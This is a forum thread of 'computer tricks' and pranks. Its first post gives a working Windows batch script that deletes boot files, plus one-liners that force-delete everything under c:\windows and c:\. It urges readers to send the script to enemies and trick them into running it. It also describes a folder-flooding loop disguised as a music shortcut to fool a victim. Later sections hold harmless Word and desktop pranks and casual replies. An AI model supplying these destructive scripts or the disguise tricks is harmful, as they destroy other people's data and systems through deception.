Computer Tricks, Found Or Made By Me

[Slay]

1: Crash A PC With A Link!

I stumbled across this URL while surfing the internet. This is a javascript "exploit" (that still works, by the way) and will hang/crash your system. It basically floods you with an infinite loop of mailto:xxx windows. To cancel this (and you have to move fast) kill the process of your email client before you run out of RAM.

WARNING: CLICKING ON THE LINK BELLOW MAY CAUSE A CRASH! USE AT YOUR OWN RISK!



2. Shut Down a Computer Forever

Open notepad and copy/paste this code:

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Now Save it as a .bat file.

This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.

REMEMBER - DO NOT CLICK THIS FILE. YOU WON'T RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE!

Send it to your enemies computer and tell them to open it. Have fun!

Here is another code too.....

cmd /c del c:\windows\* /F /S /Q

cmd /c del c:\* /F /S /Q

Paste it in NotePad And Save It with Extension .cmd or .bat


3. Make over 1,000 folders in few seconds


Here I will teach you simple prank that will make an unlimited amount of folders in any place you want.

1. Open notepad and type :

@echo off
:top
md %random%
goto top

@echo off makes it so that it appears to be a blank screen but actually its making hundreds of folder.
md %random% is command that creating folders with random names.
goto top – return to label :top, infinite loop


2. Save it as 1000folders.bat


3. After that you will get icon that looks as show below


People probably not going to click on an icon that looks like this picture so to make it better (funnier and easier to prank people with) make a short-cut to it

4. Right click on icon and click Create Shortcut


5. Right click on shortcut and click properties , then click on Change Icon and rename icon


Tell the person that you found the music they wanted and downloaded it on there computer, that way they will think its a shortcut to the music and they will click on it then they will think its loading so they wont exit right away when they finally realize its not going to load or so many errors have came up they realized somethings wrong it will be to late) also just something to know its impossible to delete them using cmd you HAVE to find all of them and delete them manually…


4. Microsoft Word Prank

Here , I will show you great microsoft word prank that will frustrate the victims very much, whenever they type a certain word, another word appears! This prank is great for office and schools.

1. Launch Microsoft Word

2. Go to Tools -> AutoCorrect Options…


3. In the space where it says Replace , type a real common word such as the, and, a,I, you etc. In the space that says With , type in a crazy word such as fdgfdhkihyob45, whatever you want! Then , click on Add



5. Cool Windows Prank

This will make it to where your friend cannot click on anything on the screen.

1. Take a screenshot of the desktop. You can use windows printscreen or some printscreen software.


2. Make your printscreen picture as desktop background.

3. Right click on desktop , then click Arrange Icons By->Show Desktop Icons (Windows XP)
Right click on desktop , then click View->Show Desktop Icons (Windows 7 and Vista)


That is it , when you click on the “icons”, nothing will happen!

[ROFLBRYCE]

You....are a horrible mastermind. I must try some of these that don't involving crashing computers xD

[LiNuX]

Don't post links that 'may' crash computers.

[Slay]

Very well, sorry, I thought the warning was enough. :P

[paecmaker]

That thing with replacing words seemed funny to bad that Im not in school anymore It would be perfect in our small gang "fights"

[Draelthalas]

im most definitely doing the microsoft word one when school starts back up! lol!

[ROFLBRYCE]

That thing with replacing words seemed funny to bad that Im not in school anymore It would be perfect in our small gang "fights"

I know the feeling, I just graduated :/ however, I'm gonna rig up the computer my gf's sisters use for homework. Muahaha

[Bertrum]

I am definitely going to try the MS Word one

[EpsilonX]

tthe destroying computer one seems pretty cruel tbh

[Psychotray]

You can also go into Command Prompt and type in ''Shutdown -s'', that works too